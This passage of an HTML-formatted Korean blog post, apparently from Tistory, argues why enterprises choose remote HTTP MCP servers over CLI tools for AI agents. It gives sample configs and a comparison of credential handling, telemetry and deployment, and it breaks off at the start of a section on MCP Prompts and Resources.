&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// Streamable HTTP MCP: 원격 서비스에 연결&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;{
  &quot;mcpServers&quot;: {
    &quot;company-tools&quot;: {
      &quot;url&quot;: &quot;https://mcp.internal.company.com/mcp&quot;,
      &quot;headers&quot;: {
        &quot;Authorization&quot;: &quot;Bearer ${COMPANY_TOKEN}&quot;
      }
    }
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin: -10px 0 20px 0; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;※ 위 형식은 Claude Code의 &lt;code&gt;.mcp.json&lt;/code&gt; 클라이언트 설정 형식이다. &lt;code&gt;url&lt;/code&gt;, &lt;code&gt;headers&lt;/code&gt; 필드는 Claude Code가 MCP 서버에 연결할 때 사용하는 설정이며, MCP 프로토콜 스펙 자체의 필드가 아니다. (출처: &lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code 공식 문서 - MCP&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;원격 MCP가 CLI와 근본적으로 다른 이유&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CLI 바이너리 배포 불필요&lt;/b&gt;: 클라이언트에 아무것도 설치할 필요 없음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;서버 측 업데이트&lt;/b&gt;: 도구가 바뀌면 서버만 업데이트, 클라이언트는 자동 반영&lt;/li&gt;
&lt;li&gt;&lt;b&gt;백엔드 직접 접근&lt;/b&gt;: Postgres, Redis, Apache AGE 같은 서버 백엔드에 직접 연결 가능 &amp;mdash; CLI로는 불가능하거나 매우 복잡&lt;/li&gt;
&lt;li&gt;&lt;b&gt;인증 중앙화&lt;/b&gt;: OAuth, API 키가 서버에서 관리됨 &amp;mdash; 개발자 로컬에 키를 배포할 필요 없음&lt;/li&gt;
&lt;li&gt;&lt;b&gt;텔레메트리 일원화&lt;/b&gt;: 모든 에이전트 호출을 한 곳에서 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GeekNews의 &lt;code style=&quot;font-size: 12px; background: #d5f0d5; padding: 1px 5px; border-radius: 3px;&quot;&gt;@m00nlygreat&lt;/code&gt;의 표현이 이를 깔끔하게 정리한다: &lt;b&gt;&quot;원격 실행은 MCP, 로컬 실행은 Skills&quot;&lt;/b&gt; (출처: &lt;a href=&quot;https://news.hada.io/topic?id=27129&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GeekNews&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;stdio vs HTTP &amp;mdash; 같은 이름, 다른 세계&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;MCP가 죽었다&quot;는 논쟁의 혼란은 이 두 가지를 구분하지 않는 데서 온다. &lt;b&gt;stdio MCP의 한계를 근거로 HTTP MCP까지 부정하는 것&lt;/b&gt;은 &quot;로컬 SQLite가 느리니까 PostgreSQL도 쓸모없다&quot;고 말하는 것과 같다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 엔터프라이즈가 MCP를 선택하는 5가지 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개인 개발자의 로컬 작업에서는 CLI가 더 편할 수 있다. 하지만 &lt;b&gt;조직 수준&lt;/b&gt;에서는 다른 계산이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-1. 리치 백엔드 (Richer Underlying Capabilities)&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2396&quot; data-origin-height=&quot;486&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D9ASV/dJMcaaEDWGZ/iRkCS7CQqy56Z0mwCcMsK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D9ASV/dJMcaaEDWGZ/iRkCS7CQqy56Z0mwCcMsK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D9ASV/dJMcaaEDWGZ/iRkCS7CQqy56Z0mwCcMsK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD9ASV%2FdJMcaaEDWGZ%2FiRkCS7CQqy56Z0mwCcMsK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2396&quot; height=&quot;486&quot; data-origin-width=&quot;2396&quot; data-origin-height=&quot;486&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;원격 MCP 서버는 &lt;b&gt;서버 측 리소스에 직접 연결&lt;/b&gt;할 수 있다. 예를 들어:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;PostgreSQL&lt;/b&gt;: 복잡한 쿼리를 서버에서 실행하고 결과만 반환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Apache AGE&lt;/b&gt; (그래프 DB): 그래프 탐색 쿼리를 CLI로 노출하기는 매우 어려움&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;내부 마이크로서비스&lt;/b&gt;: gRPC 엔드포인트를 MCP 도구로 래핑&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI는 기본적으로 &lt;b&gt;로컬에서 실행되는 단일 바이너리&lt;/b&gt;다. 서버 측 데이터베이스에 직접 접근하려면 CLI에 커넥션 스트링, 인증 정보를 넘겨야 하고, 이는 보안 문제를 야기한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;반론/한계&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;다만, &lt;b&gt;SSH 터널 + Bastion Host 패턴&lt;/b&gt;은 이미 엔터프라이즈에서 오래 사용되어 왔다. CLI + SSH 터널 조합으로 서버 측 백엔드에 안전하게 접근하는 것은 검증된 방법이다. MCP가 이를 대체할 때의 실질적 이점이 &quot;편의성 향상&quot;인지, &quot;보안 수준 향상&quot;인지는 조직 상황에 따라 판단이 달라질 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// CLI 방식: DB 접속 정보가 로컬에 노출됨&lt;/div&gt;
&lt;pre class=&quot;sql&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ psql &quot;postgresql://user:password@prod-db:5432/main&quot; \
  -c &quot;SELECT * FROM orders WHERE status = 'pending'&quot;
# 개발자 로컬에 프로덕션 DB 비밀번호가 있어야 함&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// MCP 방식: DB 접속은 서버 측에서만 관리&lt;/div&gt;
&lt;pre class=&quot;json&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// MCP 클라이언트가 호출:
{ &quot;method&quot;: &quot;tools/call&quot;,
  &quot;params&quot;: {
    &quot;name&quot;: &quot;query_orders&quot;,
    &quot;arguments&quot;: { &quot;status&quot;: &quot;pending&quot; }
  }
}
// DB 비밀번호는 MCP 서버에만 존재, 개발자 로컬에 노출 안 됨&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-2. 임시 에이전트 런타임 (Ephemeral Agent Runtimes)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub Actions, CI/CD 파이프라인, 서버리스 함수 같은 &lt;b&gt;임시 실행 환경&lt;/b&gt;에서는 CLI 설치가 번거롭다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2632&quot; data-origin-height=&quot;626&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b1JO1i/dJMcadOOVeb/h1z9aWuWjmmfpkitIMAUpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b1JO1i/dJMcadOOVeb/h1z9aWuWjmmfpkitIMAUpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b1JO1i/dJMcadOOVeb/h1z9aWuWjmmfpkitIMAUpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb1JO1i%2FdJMcadOOVeb%2Fh1z9aWuWjmmfpkitIMAUpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2632&quot; height=&quot;626&quot; data-origin-width=&quot;2632&quot; data-origin-height=&quot;626&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;임시 런타임에서의 CLI vs MCP&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CLI&lt;/b&gt;: 매번 바이너리 다운로드 &amp;rarr; 설치 &amp;rarr; 인증 &amp;rarr; 실행. 런타임마다 반복&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP (HTTP)&lt;/b&gt;: URL에 연결하면 끝. 바이너리 설치 불필요, 인증은 토큰 하나로&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Hacker News의 &lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;kasey_junk&lt;/code&gt;도 이 점을 지적한다: &lt;b&gt;&quot;CLI가 최선이라는 주장은 코딩 에이전트가 빙산의 일각이라는 걸 간과한다.&quot;&lt;/b&gt; 코딩 에이전트 외에도 분석 에이전트, 고객 지원 에이전트, 모니터링 에이전트 등이 다양한 환경에서 실행된다. (출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47380270&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-3. 인증과 보안 (Auth and Security)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Holmes는 &quot;CLI의 기존 인증 체계 재활용&quot;을 장점으로 꼽았다. Chen의 반론: &lt;b&gt;&quot;그건 개인 개발자 관점이다.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2694&quot; data-origin-height=&quot;1388&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOOQiz/dJMcaf6Zg1t/Kb2yKl9kcJIasXULEwMjo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOOQiz/dJMcaf6Zg1t/Kb2yKl9kcJIasXULEwMjo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOOQiz/dJMcaf6Zg1t/Kb2yKl9kcJIasXULEwMjo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOOQiz%2FdJMcaf6Zg1t%2FKb2yKl9kcJIasXULEwMjo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2694&quot; height=&quot;1388&quot; data-origin-width=&quot;2694&quot; data-origin-height=&quot;1388&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;관점&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLI 인증&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;MCP (HTTP) 인증&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;키 위치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개발자 로컬 (&lt;code&gt;~/.aws/credentials&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서버 측 (Vault, Secrets Manager)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;키 노출 범위&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개발자 수 x 서비스 수&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 서버 1곳&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;키 회전&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;모든 개발자에게 통보 필요&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;서버에서 자동 회전&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;감사 추적&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;개발자별 로컬 로그 (수집 어려움)&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;중앙 서버에서 전체 감사 로그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OAuth 통합&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;각 CLI별 개별 구현&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;MCP 표준 OAuth 플로우&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;100명의 개발자가 10개의 서비스를 사용하면, CLI 방식에서는 1,000개의 인증 정보가 각 로컬에 분산된다. MCP 방식에서는 10개의 인증 정보가 서버 1곳에 집중된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;반론/한계&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;다만, &lt;b&gt;MCP 게이트웨이가 새로운 단일 장애점(SPOF)&lt;/b&gt;이 될 수 있다. 모든 에이전트 인증이 MCP 서버 한 곳을 통과한다면, 해당 서버가 다운되거나 침해될 경우 전체 시스템이 영향을 받는다. 기존 CLI 분산 인증은 &quot;하나가 뚫려도 전체가 뚫리지 않는다&quot;는 장점이 있었다. MCP 중앙화의 이점을 취하려면, 게이트웨이의 가용성과 보안에 그만큼 투자해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-4. 텔레메트리와 관측 가능성 (Telemetry and Observability)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트가 어떤 도구를 얼마나 자주 호출하는지, 어떤 요청이 실패하는지, 평균 응답 시간은 어떤지 &amp;mdash; 이런 데이터는 조직 수준에서 매우 중요하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #d0d7de;&quot;&gt;&lt;b&gt;텔레메트리 수집 비교&lt;/b&gt;
&lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;CLI&lt;/b&gt;: 각 개발자의 로컬에서 실행됨. 호출 로그를 중앙 수집하려면 별도 래퍼(wrapper)나 에이전트 레벨 로깅 필요&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP (HTTP)&lt;/b&gt;: 서버 한 곳을 지나가므로 &lt;b&gt;OpenTelemetry 등으로 자연스럽게 중앙 수집&lt;/b&gt; 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Hacker News의 &lt;code style=&quot;font-size: 12px; background: #dde; padding: 1px 5px; border-radius: 3px;&quot;&gt;CuriouslyC&lt;/code&gt;는 자신의 자율 에이전트 Smith에 &lt;b&gt;서비스 메시 + MCP&lt;/b&gt;를 적용한 사례를 공유했다: &quot;정책(OPA)과 모니터링을 한 곳에서&quot; 관리한다고 한다. (출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47380270&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;반론/한계&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;다만, &lt;b&gt;CLI에서도 래퍼 스크립트(wrapper script)나 에이전트 레벨 로깅&lt;/b&gt;으로 유사한 텔레메트리 효과를 낼 수 있다. 예를 들어, 모든 CLI 호출을 감싸는 셸 함수를 정의하고 OpenTelemetry로 전송하는 패턴은 이미 일부 조직에서 사용 중이다. MCP의 텔레메트리가 &quot;자연스럽게 되는&quot; 것은 사실이지만, CLI에서 &quot;불가능한&quot; 것은 아니다 &amp;mdash; 다만 추가 구현이 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5-5. 표준화된 콘텐츠 전달 (Standardized Delivery)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 부분은 다음 섹션(MCP Prompts &amp;amp; Resources)에서 자세히 다루겠지만, 핵심만 요약하면 이렇다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px 18px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;MCP의 콘텐츠 전달 프리미티브&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;MCP Prompts&lt;/b&gt; = 클라이언트가 요청하면 받는 &lt;b&gt;SKILL.md&lt;/b&gt; (사용 방법 가이드)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;MCP Resources&lt;/b&gt; = 클라이언트가 요청하면 받는 &lt;b&gt;/docs&lt;/b&gt; (참고 문서)&lt;/li&gt;
&lt;li&gt;CLI에는 이에 대응하는 표준화된 메커니즘이 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;5가지 이유 요약 (출처: Chen 원문 분석 기반)&lt;/b&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 0 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: rgba(0, 102, 204, 0.08);&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;#&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;CLI로 대체 가능?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;서버 측 리치 백엔드 연결&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;어렵거나 보안 위험&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;임시 런타임 지원&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;매번 설치 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;중앙화 인증/보안&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;키 분산 문제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;중앙 텔레메트리&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;별도 래퍼 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;표준화된 콘텐츠 전달&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;대응 메커니즘 없음&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 간과된 무기 &amp;mdash; MCP Prompts &amp;amp; Resources&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Chen이 가장 아쉽다고 직접 밝힌 부분이다. MCP 프로토콜에는 Tools 외에도 &lt;b&gt;Prompts&lt;/b&gt;와 &lt;b&gt;Resources&lt;/b&gt;라는 두 가지 프리미티브가 있다. 하지만 대부분의 MCP 클라이언트(Claude Code, Cursor 등)가 이를 &lt;b&gt;제대로 지원하지 않고 있다&lt;/b&gt;.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;1432&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OoRzM/dJMcabQ3jqS/KENVZ9xTW0nXzzNPu2zieK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OoRzM/dJMcabQ3jqS/KENVZ9xTW0nXzzNPu2zieK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OoRzM/dJMcabQ3jqS/KENVZ9xTW0nXzzNPu2zieK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOoRzM%2FdJMcabQ3jqS%2FKENVZ9xTW0nXzzNPu2zieK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; 